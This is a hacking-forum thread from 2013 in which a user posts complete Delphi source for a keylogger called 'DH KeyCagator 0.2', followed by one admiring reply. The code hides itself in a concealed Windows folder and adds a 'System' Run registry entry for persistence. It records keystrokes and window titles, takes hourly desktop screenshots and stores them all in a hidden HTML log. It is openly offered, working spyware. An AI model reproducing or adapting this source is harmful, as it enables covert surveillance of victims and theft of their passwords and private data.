This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

[Delphi] DH KeyCagator 0.2

  • 1 Replies
  • 2456 Views

0 Members and 1 Guest are viewing this topic.

Offline BigBear

  • *
  • Underc0der
  • Posts: 543
  • Actividad:
    0%
  • Reputación 3
    • View Profile

[Delphi] DH KeyCagator 0.2

  • on: November 08, 2013, 12:42:29 pm
Un simple keylogger en delphi , en esta version se podria decir que es un "prototipo" ya que en la proxima version de este keylogger me concentrare en ciertos detalles.

El keylogger tiene las siguientes funciones :

  • Captura teclas reconociendo mayusculas y minusculas
  • Captura el nombre de la ventana actual
  • Captura un screenshot del escritorio cada 1 hora
  • Guarda todos los registros en un archivo HTML "ordenado"
  • Oculta todos los archivos relacionados con el keylogger
  • Se mueve y oculta en una carpeta de Windows
  • Se carga cada vez que inicia Windows


* Usen shift+F9 para abrir el panel de control.

Unas imagenes :





El codigo :

Code: (delphi) You are not allowed to view links. Register or Login
// DH Keycagator 0.2
// (C) Doddy Hackman 2013

unit dhkey;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    Timer1: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses dhmain;
{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto);
  CloseFile(ar);

end;

procedure TForm1.Button1Click(Sender: TObject);
var
  password: string;
begin

  password := '123'; // Edit the password

  if (Edit1.Text = password) then
  begin
    Form1.Hide;
    Form2.Show;
  end
  else
  begin
    ShowMessage('Fuck You');
  end;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Form1.Hide;
  Abort;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;
begin

  Application.ShowMainForm := False;

  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;

  MoveFile(Pchar(rutareal), Pchar(yalisto));

  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;

  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
  her.WriteString('System', yalisto);
  her.Free;

  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
    FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

  savefile('logs.html',
    '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
  re: Longint;
begin

  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  begin

    re := GetAsyncKeyState(120);
    If re = -32767 then
    Begin
      Form1.Show;
    End;
  end;

end;

end.

// The End ?

Code: (delphi) You are not allowed to view links. Register or Login
// DH KeyCagator 0.2
// (C) Doddy Hackman 2013

unit dhmain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;

type
  TForm2 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Label1: TLabel;
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    Image2: TImage;
    Label2: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure Button4Click(Sender: TObject);
  private

  private
    Nombre2: string;

    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto);
  CloseFile(ar);

end;

procedure TForm2.Button1Click(Sender: TObject);
begin
  Label1.font.color := clLime;
  Label1.Caption := 'Online';
  Timer1.Enabled := True;
  Timer2.Enabled := True;
  Timer3.Enabled := True;
end;

procedure TForm2.Button2Click(Sender: TObject);
begin
  Label1.font.color := clRed;
  Label1.Caption := 'Offline';
  Timer1.Enabled := False;
  Timer2.Enabled := False;
  Timer3.Enabled := False;
end;

procedure TForm2.Button3Click(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm2.Button4Click(Sender: TObject);
begin
  Application.Terminate;
end;

procedure TForm2.FormCreate(Sender: TObject);
var
  dir: string;
begin

  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
    FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

  Label1.font.color := clLime;
  Label1.Caption := 'Online';
  Timer1.Enabled := True;
  Timer2.Enabled := True;
  Timer3.Enabled := True;
end;

procedure TForm2.Timer1Timer(Sender: TObject);
var
  i: integer;
  Result: Longint;
  mayus: integer;
  shift: integer;

const

  n_numeros_izquierda: array [1 .. 10] of string =
    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

const
  t_numeros_izquierda: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_numeros_derecha: array [1 .. 10] of string =
    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

const
  t_numeros_derecha: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    '291', '220', '221', '222', '226');

const
  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
    '|');

const
  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
    '226');

const
  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    ' / ', ' \ \ \ ', ']', '[', '~', '\/');

begin

  // Others

  for i := Low(n_raros) to High(n_raros) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_raros[i]);
    end;
  end;

  // Numbers

  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_numeros_derecha[i]);
    end;
  end;

  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_numeros_izquierda[i]);
    end;
  end;

  // SHIFT

  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  begin

    for i := Low(n_shift) to High(n_shift) do
    begin
      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
      If Result = -32767 then
      begin
        savefile('logs.html', t_shift[i]);
      end;
    end;

    for i := 65 to 90 do
    begin
      Result := GetAsyncKeyState(i);
      If Result = -32767 then
      Begin
        savefile('logs.html', Chr(i + 0));
      End;
    end;

  end;

  // MAYUS

  if (GetKeyState(20) = 0) then
  begin
    mayus := 32;
  end
  else
  begin
    mayus := 0;
  end;

  for i := 65 to 90 do
  begin
    Result := GetAsyncKeyState(i);
    If Result = -32767 then
    Begin
      savefile('logs.html', Chr(i + mayus));
    End;
  end;

end;

procedure TForm2.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of char;
  nombre1: string;

begin

  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

  nombre1 := ventana1;

  if not(nombre1 = Nombre2) then
  begin
    Nombre2 := nombre1;
    savefile('logs.html',
      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  end;

end;

procedure TForm2.Timer3Timer(Sender: TObject);
var
  foto1: TBitmap;
  foto2: TJpegImage;
  ventana: HDC;
  generado: string;

begin

  ventana := GetWindowDC(GetDesktopWindow);

  foto1 := TBitmap.Create;
  foto1.PixelFormat := pf24bit;
  foto1.Height := Screen.Height;
  foto1.Width := Screen.Width;

  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
    SRCCOPY);

  foto2 := TJpegImage.Create;
  foto2.Assign(foto1);
  foto2.CompressionQuality := 60;

  generado := IntToStr(Random(100)) + '.jpg';

  foto2.SaveToFile(generado);
  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
        + '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);

  savefile('logs.html', '<br><br><center><img src=' + generado +
      '></center><br><br>');

end;

end.

// The End ?

Si lo quieren bajar lo pueden hacer de You are not allowed to view links. Register or Login.

Offline WhiZ

  • *
  • Ex-Staff
  • *****
  • Posts: 395
  • Actividad:
    0%
  • Reputación 0
    • View Profile

Re:[Delphi] DH KeyCagator 0.2

  • on: November 08, 2013, 01:08:42 pm
Excelente doddy! Te pasas con estos códigos.

Nuevamente me lamento por desconocer este lenguaje. No me dejas otra alternativa que ponerme a investigar un poco jeje.

Saludos!
WhiZ